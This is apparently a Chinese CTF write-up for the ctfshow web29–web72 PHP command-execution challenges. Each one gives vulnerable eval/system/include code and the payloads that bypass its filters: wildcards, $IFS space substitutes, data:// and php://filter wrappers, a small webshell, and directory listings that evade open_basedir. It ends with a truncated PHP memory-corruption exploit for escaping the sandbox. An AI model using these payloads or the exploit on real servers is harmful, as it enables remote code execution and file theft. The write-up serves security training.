目录
WEB29
WEB30
WEB31
WEB32-WEB35
WEB36???????
WEB37
WEB38
?WEB39
WEB40
WEB41
WEB42
WEB43
WEB44
WEB45
WEB46
WEB47
WEB48
WEB49
WEB50
WEB51
WEB52
WEB53
WEB54
WEB55
web56
WEB57
WEB58
WEB59
WEB60
WEB61
WEB62
WEB63-WEB65
WEB66
WEB67
WEB68-WEB70
WEB71
WEB72
WEB73
WEB74
WEB75-WEB76
WEB77
WEB118(后面的题由于环境变量或者shell类型,可能会有不一样的结果)
WEB119?
WEB120
WEB121
WEB122
web124
WEB29
题目:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析:题目过滤了flag且忽略大小写
知识点:linux通配符
* 匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
? 匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd] 匹配abcd中任何一个字符
[a-z] 表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
[!abcd] 或[^abcd] 表示不匹配括号里面的任何一个字符
方法1:
payload:?c=system('cat f*');
但是这里会返回一个空页面,因为PHP是服务器端解释的语言,在浏览网页的时候服务器会对php文件进行解释并执行,最终生成相应的HTML代码并返回给浏览器,所以网页是显示不出PHP代码。没关系,我们查看源代码就行。或者用tac
方法2:
payload:?c=system("cp fla?.php 1.txt");
或者
payload:?c=system(“cat *php >> 1.txt”);
然后再去访问1.txt
WEB30
题目:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析:过滤了flag,system,php且不区分大小写
知识点:反引号可以替代system,执行系统命令
当调用system命令的时候,系统会将执行结果输出到屏幕,并且将执行结果返回值(0或者非0)传给变量 ;
然而反引号(``)将会把所有结果都保存到变量上,并且不会输出任何结果,所以我们得用echo输出。
方法:
payload:?c= echo `tac fl'ag'.p'hp'`;
linux中文件名可以穿插单双引号,但得成对出现。解析的时候会被去掉。
WEB31
题目:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析:重点是过滤了点、单引号、空格
知识点:linux空格过滤
换行符造成函数无效例如system();???这样是无效的。反引号里面直接不能使用换行键那些,
方法1:
payload:?c=echo%09`tac%09f*`;
在linux 空格可以用以下字符串代替:
%09(tab)、$IFS$9、 ${IFS}、$IFS、$IFS%09(tab)、< 、<>、%20(space)等
//<>需要写的权限
在使用``或者system这些命令,带有$的内容替换时,要注意转义(加上\),因为$在php中有特殊含义
跟cat作用差不多的命令:
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev
方法2:
嵌套执行
payload:?c=eval($_GET[1]);&1=system("tac flag.php");
记录一个骚姿势:
首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
WEB32-WEB35
题目:
<?php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析:相对于上一题,过滤了分号,反引号,echo,和左括号
知识点:伪协议
eval中结尾可以用?>代替;
code
需要被执行的字符串
代码不能包含打开/关闭 PHP tags。比如, 'echo "Hi!";' 不能这样传入: '<?php echo "Hi!"; ?>'。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";'。
除此之外,传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。比如 'echo "Hi!"' 会导致一个 parse error,而 'echo "Hi!";' 则会正常运行。
return 语句会立即中止当前字符串的执行。
代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留
方法:因为只对c进行匹配,那么我们可以逃逸get[]里面的东西,因为不能有;所以用?>代替。
payload:?c=include%0A$_GET[1]?>&1=flag.php
以下四个可以互换:
include
require
include_once
require_once
这样只是把flag.php这个文件包含进去了,并不会有回显。
用伪协议:
payload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
最后把得到的字符进行base64解码即可得到flag。
意思是:通过一个过滤器,用base64编码来获取资源。(通过一个指定的通道(filter)来获取资源)
WEB36
不能使用数字,把数字换成字母
WEB37
题目:
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
分析:题目说了flag在flag.php里面,所以要通过echo输出,就得包含flag文件,但是不能想上几题一样用base64编码,这样会找不到flag变量,但是因为过滤了flag所以包含文件flag.php来输出flag变量行不通。
知识点:data协议,data://?可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行?
方法:用data协议
payload:?c=data://text/plain,<?php system('tac fl*');?>
payload:?c=data://text/plain,%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%3F%3E
后面经过url编码
payload:?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+
base64后面是经过base64编码的要执行的php代码。这里因为有+号,然后因为是url传参,+会被当作空格处理
?解决方法:
1:post[]里面用两位数以上就不会有+号
2:不写后面的?> 因为PHP里面其实不需要写后面的 前面的;号就已经说明结束了。如果没有;号就必须写?>作为结束。
3:将+号换成%2b
4:在php语句后面增加空格
WEB38
题目:
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag|php|file/i", $c)){
include($c);
echo $flag;
}
}else{
highlight_file(__FILE__);
}
?分析:过滤了php
方法1:同上一题
方法2:短标签
payload:?c=data://text/plain,<?= system("tac fla?.???");?>
?WEB39
题目:
<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/flag/i", $c)){
include($c.".php");
}
}else{
highlight_file(__FILE__);
}
分析:没有了echo回显,且在$c后面增加了一个.php 后缀,原本是想要伪协议php://filter/convert.base64-encode/resource=flag,这样就能和后缀链接起来包含flag.php,但是因为过滤了flag,所以用data协议。
方法:其实这个后缀没有什么影响
这个后缀是相当于include(data://text/plain,<?=phpinfo();?>.php),因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用。最后因为<>里面返回值为1,所以最后为1.php。?
payload:?c=data://text/plain,<?php system('tac f*');?>
WEB40
题目:
<?php
if(isset($_GET['c'])){
$c = $_GET['c'];
if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
eval($c);
}
}else{
highlight_file(__FILE__);
}
分析:过滤的是中文的括号不是英文的
知识点:无参RCE
方法:
payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)
pos():返回数组中的当前元素的值。
array_reverse():数组逆序
scandir():获取目录下的文件
next():函数将内部指针指向数组中的下一个元素,并输出。
首先通过pos(localeconv())得到点号,因为scandir(’.’)表示得到当前目录下的文件,所以scandir(pos(localeconv()))就能得到flag.php了。
方法2:
查看当前目录下文件
?c=print_r(scandir(dirname(__FILE__)));
找到flag.php
?c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));
高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));
WEB41
<?php
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
分析:过滤了字母和数字,过滤了$、+、-、^、~ 使得异或自增和取反构造字符都无法使用,但留了一个或运算符|,所以我们可以用无字母数字带有|的RCE。
暂时不会做,以后再补
参考链接:
https://blog.csdn.net/miuzzx/article/details/108569080
https://www.freebuf.com/articles/system/242482.html
https://www.cnblogs.com/wangtanzhi/p/12260986.html
https://skysec.top/2019/03/29/PHP-Parametric-Function-RCE/#法四:session-id
https://blog.csdn.net/qq_44657899/article/details/109152405
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html
https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html
https://www.bilibili.com/video/BV1jy4y1a7Ew?p=13
WEB42
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
system($c." >/dev/null 2>&1");
}else{
highlight_file(__FILE__);
}
分析:
system($c." >/dev/null 2>&1");
这个语句使得输出结果,输出到黑洞里面去了;2代表错误输出,1代表标准输出,2>&1表示把错误输出 等同于(输出到)标准输出,也就是说错误输出和命令执行的结果都输出到黑洞里面去了。
知识点:命令分隔,url中的特殊字符
;??前面和后面命令都要执行,无论前面真假
|??直接执行后面的语句
||??如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句
&??前面和后面命令都要执行,无论前面真假
&&??如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令
get传参,使用&&需要使用url编码
%0a ? ? ?回车符
方法:使用命令分隔,执行多条命令或者把后面输出到黑洞里面的命令给截断。
payload:tac f*;
payload:tac f*%26
payload:tac f*||
注意:在使用&的时候,因为&在url传参中有特殊含义所以需要用url编码。
参考链接:
url中的特殊字符
Shell脚本———— /dev/null 2>&1详解
WEB43
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:相对于上一题过滤了cat和;用其他的方法即可。
WEB44
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/;|cat|flag/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:相对于上一题过滤了flag,使用绕过或者因为用的system所以可以使用通配符。
payload:?c=tac f''l""ag.php%0a
WEB45
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| /i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:相对于上一题过滤了空格
知识点:空格绕过,php环境下可以用%09代替 空格
方法:
payload:?c=tac$IFS$9f*||
payload:?c=tac<fl'ag'.php||
payload:?c=tac${IFS}f*||
payload:?c=tac<>fl'ag'.php||
payload:?c=tac%09f*||
注意:< 或<>与通配符一起使用时没有回显,使用不能同时使用。
WEB46
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:多过滤数字、\$、*
方法:
payload:?c=tac%09fl''ag.php||
payload:?c=tac%09fl\ag.php||
payload:?c=tac%09fl``ag.php||
这里虽然有%09,有数字,但因为%09是一个字符,属于编码,在带入服务器时会进行解码,解码之后并不是数字,所以并没有被过滤。
WEB47
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:相对于上一题针对cat多过滤了一些
知识点:与cat作用类似的命令
payload:?c=tac%09fla?.php||
WEB48
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
payload:?c=tac%09fla?.php||
WEB49
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:多过滤了一个%,但是没有什么用,因为%09是一个字符,属于编码,在带入服务器时会进行解码,解码之后并没有含有%,所以并没有被过滤。
方法:
payload:?c=tac<>fla\g.php||
payload:?c=tac<fla\g.php||
payload:?c=tac%09fla?.php||
WEB50
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:不能使用%09和%26(&)了,
方法:
payload:?c=tac<>fla\g.php||
WEB51
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:过滤了tac
方法:使用其他同nl类似的命令
payload:?c=nl<fla\g.php||
然后查看网页源代码。
字符串拼接
payload:?c=t''a""c<>fl\ag.php||
WEB52
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c." >/dev/null 2>&1");
}
}else{
highlight_file(__FILE__);
}
分析:过滤了>和<但是没有过滤$所以可以用${IFS}作为空格绕过
知识点:Shell 脚本中有个变量叫IFS(Internal Field Seprator) ,内部域分隔符。
IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 即空格,制表符,空行来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。?
方法:
payload:?c=ta\c${IFS}/fl\ag||
注意:flag位置变了
WEB53
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
echo($c);
$d = system($c);
echo "<br>".$d;
}else{
echo 'no';
}
}else{
highlight_file(__FILE__);
}
分析:先是把命令进行显示,然后执行这个命令之后的最后一行输出给变量d,最后输出变量d的内容。
知识点:system的返回值
方法:
payload:?c=ta$@c${IFS}fla\g.php
$@是空字符
system返回值,是返回命令输出的最后一行,错误就返回false
但是这道题,system命令执行之后的返回值返回给了变量d,最后echo的时候是echo了flag.php文件内容的最后一行,也就是
$flag="ctfshow{45a1fbcf-d48d-4c28-a073-77c07369d0f8}";
但是system自带回显,所以在执行system命令的时候就已经输出了flag.php的全部内容
?查看源代码:
?本地测试:
<?php
$a=system('ls');
echo '</br>';
echo $a;
?>
?查看源代码:
WEB54
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
分析:传入的字符串中不能包含正则里面的东西
知识点:正则匹配.*的作用 、/bin文件下的相关命令
* | 匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*。 | . | 匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \. 。 |
.*加起来的作用就是匹配除换行符 \n 之外的任何单字符零次或多次。
2、paste。
paste 指令会把每个文件以列对列的方式,一列列地加以合并。
实例
使用paste指令将文件"file"、"testfile"、"testfile1"进行合并,输入如下命令:
paste file testfile testfile1?#合并指定文件的内容
但是,在执行以上命令之前,首先使用"cat"指令对3个文件内容进行查看,显示如下所示:
$ cat file??????????????????#file文件的内容?? xiongdan?200?? lihaihui?233?? lymlrl?231?? $ cat testfile??????????????#testfile文件的内容?? liangyuanm??ss?? $ cat testfile1?????????????#testfile1文件的内容?? huanggai?56?? zhixi?73
当合并指令"$ paste file testfile testfile1"执行后,程序界面中将显示合并后的文件内容,如下所示:
xiongdan?200?? lihaihui?233?? lymlrl?231?? liangyuanm??ss?? huanggai?56?? zhixi?73??
3、grep
Linux grep?命令用于查找文件里符合条件的字符串。
grep?指令用于查找内容包含指定的范本样式的文件,如果发现某文件的内容符合所指定的范本样式,预设?grep?指令会把含有范本样式的那一列显示出来。若不指定任何文件名称,或是所给予的文件名为?-,则?grep?指令会从标准输入设备读取数据。
实例
1、在当前目录中,查找后缀有?file?字样的文件中包含?test?字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:
grep test?*file?
结果如下所示:
$ grep test test*?#查找前缀有“test”的文件包含“test”字符串的文件?? testfile1:This?a?Linux?testfile!?#列出testfile1?文件中包含test字符的行?? testfile_2:This?is?a linux testfile!?#列出testfile_2?文件中包含test字符的行?? testfile_2:Linux?test?#列出testfile_2?文件中包含test字符的行?
4、uniq
Linux uniq?命令用于检查及删除文本文件中重复出现的行列,一般与?sort?命令结合使用。
uniq?可检查文本文件中重复出现的行列。
实例
文件testfile中第?2、3、5、6、7、9行为相同的行,使用?uniq?命令删除重复的行,可使用以下命令:
uniq testfile?
testfile中的原有内容为:
$ cat testfile??????#原有内容?? test?30?? test?30?? test?30?? Hello?95?? Hello?95?? Hello?95?? Hello?95?? Linux?85?? Linux?85?
使用uniq?命令删除重复的行后,有如下输出结果:
$ uniq testfile?????#删除重复行后的内容?? test?30?? Hello?95?? Linux?85?
方法:
payload:?c=uniq${IFS}fl??.php
这个不行是因为组成了nl,可以使用?c=uniq${IFS}????.???
payload:?c=grep${IFS}'{'${IFS}fl???php
意思为在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行
payload:?c=paste${IFS}fl?g.php 然后查看源代码
payload:?c=/bin/base??${IFS}???????? 然后base64解码
payload:?c=/bin/ca?${IFS}???????? 然后查看源代码
方法:使用cp命令?
WEB55
题目:
<?php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
system($c);
}
}else{
highlight_file(__FILE__);
}
分析:主要过滤了字母
方法1:
查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。
匹配到/bin目录下的命令
cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等
发现存在一个base64,我们就可以通过通配符进行匹配命令执行查看flag.php
这个不是通用的,因为base64不是每个机器都有
payload:?c=/???/????64 ????.??? 然后base64解码
方法2:
我们可以利用/usr/bin下的bzip2,bzip2是linux下面的压缩文件的命令
payload:?c=/???/???/????2 ????.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php
方法3:无字母rce
知识点:无字母数字webshell之提高篇
.(点)的用法,就是相当于source 可以执行sh命令 linux下的.使用
https://blog.csdn.net/qq_46091464/article/details/108513145??
https://blog.csdn.net/qq_46091464/article/details/108557067
一些不包含数字和字母的webshell
方法3详解请看知识点提高篇和b站解析。
先构造一个上传文件的脚本
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>POST数据包POC</title>
</head>
<body>
<form action="http://76ce0edb-66ef-425a-832f-81a93fbca112.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--需要把url改成当前题目的链接-->
<label for="file">文件名:</label>
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="提交">
</form>
</body>
</html>
上传文件并抓取数据
这个a.txt里面的内容为a,所以我们可以修改a为我们的命令。
c参数传进去需要和HTTP之间有个空格。
每次上传的文件不一定有大写的文件名,需要多上传几次
web56
因为过滤掉了数字,所以web55前两个方法都不行了。
还是用上传文件的方法。
WEB57
题目:
<?php
// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
$c=$_GET['c'];
if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
system("cat ".$c.".php");
}
}else{
highlight_file(__FILE__);
}
分析:
相对于上一题,题目过滤了通配符和.
那么我们就得换一条思路,题目提示flag?in 36.php,而system()里面有cat 和".php" 所以我们只要把36传给变量c就行了。
如何得到36?
???????知识点:
1、双小括号:(())
双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。?注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。
还要知道$(())的值是0
2、取反:
如果b=~a,那么a+b=-1。可以用二进制验算?
3、echo ${_} #返回上一次的执行结果
方法:
$((-37))=36 ? ??
echo $((~$(()))) #~0是-1
$(( ?$(( ? ~$(()) ? ?)) ? $(( ? ~$(()) ? ?)) ? ? )) #即$((-1-1))即$((-2))也就是=-2,那么就可以用
37个$ ( ( ~ $ ( ( ) ) ) )来构造-37最后再取反就是36了。
WEB58
题目:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
?分析:post传参、(这道题禁用了很多函数,并且我们不知道禁用了哪些,所以只有一个个试)
方法:
//通过单一函数读取文件
c=highlight_file("flag.php");
c=echo file_get_contents("flag.php"); 查看源代码
c=readfile("flag.php"); 查看源代码
c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
//这里做一个解释`file — 把整个文件读入一个数组中
c=show_source('flag.php');
无参数读文件
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
或者用scandir(dirname('__FILE__'))或者直接scandir('.')
只能使用一次next。
//使用fopen()
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);
echo和print_r()可以互换。
WEB59
题目:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
方法:
骚姿势:
post:c=include([$GET[1]);
get:1=php://filter/convert.base64-encode/resource=flag.php
WEB60
题目:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
方法:
骚姿势:
//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:
c=copy("flag.php","flag.txt"); ? ? ? ? //然后再访问flag.txt ??
c=rename("flag.php","flag.txt"); ? ? ? //然后再访问flag.txt ??
WEB61
题目:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
方法:
payload:c=include('flag.php');echo $flag;
//这里是知道了这个flag.php里面有flag变量。
WEB62
题目:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
方法:
payload:c=include("flag.php");var_dump(get_defined_vars());
//get_defined_vars()
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。
WEB63-WEB65
题目一样,用前面没有过滤的方法
WEB66
题目:
<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}
方法:
先用c=highlight_file("flag.php"); ? ?发现提示说flag在这里。
那就先扫描目录下的内容。
使用c=print_r(scandir("../../../"));?或者c=var_dump(scandir("../../../"));
依次使用../扫描上级目录
发现flag在../../../flag.txt
然后使用c=highlight_file("../../../flag.txt");
WEB67
相对于web66 屏蔽了print_r()函数,,使用var_dump();
WEB68-WEB70
分析:题目显示highlight_file()被ban了,很多函数都被ban了,但是文件包含函数没有ban,所以就可以使用文件包含。
方法:
先扫描目录,找到flag文件。
记录几个扫目录的payload:
ban了var_dump和print_r、用遍历来输出数组的内容。
c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}
c=$a=scandir("/");foreach($a as $value){echo $value." ";}
c=$a=glob("/*");foreach($a as $value){echo $value." ";}
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
c=var_export(scandir('/'));
然后因为txt文件可以直接包含(没有php标签,可以作为html直接输出)
而php文件可以用base64编码或者查看源代码
c=include('php://filter/read=convert.base64-encode/resource=/flag.txt')?>
c=include('/flag.txt');
c=include_once('flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');
WEB71
题目:
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
分析:
ob_get_contents(); ?//此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回false ???????ob_end_clean(); ? ? ?//清空(擦除)缓冲区并关闭输出缓冲。
y4师傅的一个实验
<?php
$a = 'system("ls");';
eval($a);
//在网页中会输出内容
<?php
$a = 'system("ls");';
eval($a);
ob_get_contents();
ob_end_clean();
//不会在网页中输出内容,因为清除并关闭了输出缓冲区,所以没有输出东西
<?php
$a = 'system("ls");';
eval($a);
$c = ob_get_contents();
ob_end_clean();
echo $c;
//会在网页中输出内容,因为相对于第二个实验,最后使用变量c获得的清除输出缓冲区之前缓冲区中的数据,然后虽然关闭了输出缓冲区,但是我们使用了echo,那么仍然输出了内容。
并且后面会将得到缓冲区数据的变量$s里面的数字字母全部替换为问号。所以我们可以使用exit()/die() 提前结束让if语句里eval($c);之后的代码不执行直接退出
payload:
c=var_export(scandir('/'));die();
c=include('/flag.txt');exit(0);
WEB72
题目:
<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
}
?>
你要上天吗?
分析:当我们使用scandir扫描目录的时候会有一个提示open_basedir?
知识点:
open_basedir是php.ini中的一个配置选项
它可将用户访问文件的活动范围限制在指定的区域,限制了你的读取目录
假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。
注意用open_basedir指定的限制实际上是前缀,而不是目录名。
举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。
方法:
利用glob伪协议在筛选目录时不受open_basedir制约:
payload:c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f." " ;};exit();
然后使用脚本来读取flag文件
脚本:
?><?php
pwn("cat /flag0.txt");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace(); # ;)
if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
$backtrace = debug_backtrace();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for($j = $s-1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p+$j]);
}
return $address;
}
function ptr2str($ptr, $m = 8) {
$out = "";
for ($i=0; $i < $m; $i++) {
$out .= sprintf("%c",($ptr & 0xff));
$ptr >>= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for($i = 0; $i < $n; $i++) {
$str[$p + $i] = sprintf("%c",($v & 0xff));
$v >>= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
return $leak;
}
function parse_elf($base) {
$e_type = leak($base, 0x10, 2);
$e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, 2);
$e_phnum = leak($base, 0x38, 2);
for($i = 0; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, 0, 4);
$p_flags = leak($header, 4, 4);
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28);
